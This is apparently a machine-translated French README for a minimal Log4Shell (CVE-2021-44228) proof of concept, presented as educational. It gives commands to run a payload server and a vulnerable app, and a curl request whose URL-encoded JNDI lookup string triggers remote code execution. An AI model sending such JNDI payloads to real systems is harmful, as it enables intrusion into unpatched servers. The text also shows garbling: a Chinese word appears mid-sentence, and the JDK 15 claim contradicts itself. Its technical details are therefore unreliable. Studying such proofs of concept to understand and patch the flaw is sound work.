
Une preuve de concept minimale pour la vulnérabilité Log4j2 JNDI RCE (CVE-2021-44228/Log4Shell).
Une preuve de概念 minimaliste pour la vulnérabilité d'exécution de code à distance (RCE) via JNDI dans Log4j2 (CVE-2021-44228). Ceci est destiné à des fins éducatives afin d'aider les personnes qui ne sont pas des chercheurs en sécurité à comprendre comment cela fonctionne et quelle est l'ampleur de l'impact.
La POC contourne l'obligation de définir les propriétés com.sun.jndi.rmi.object.trustURLCodebase et com.sun.jndi.cosnaming.object.trustURLCodebase sur true, qui ont été désactivées par défaut depuis 8u121, 7u131, 6u141.
Remarque : JDK 1.8 est requis pour la compilation du payload-server, mais le victim-app est vulnérable jusqu'à JDK 15 inclus, car le moteur Nashorn a été supprimé dans JDK 15.
payload-server en exécutant :$ ./gradlew runPayloadServer
victim-app :$ ./gradlew runVictimApp
curl http://localhost:8080/hello?name=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A8099%2Fexec%7D pour déclencher la RCE.victim-app. Vous devriez voir un journal non intentionnel imprimé à l'écran.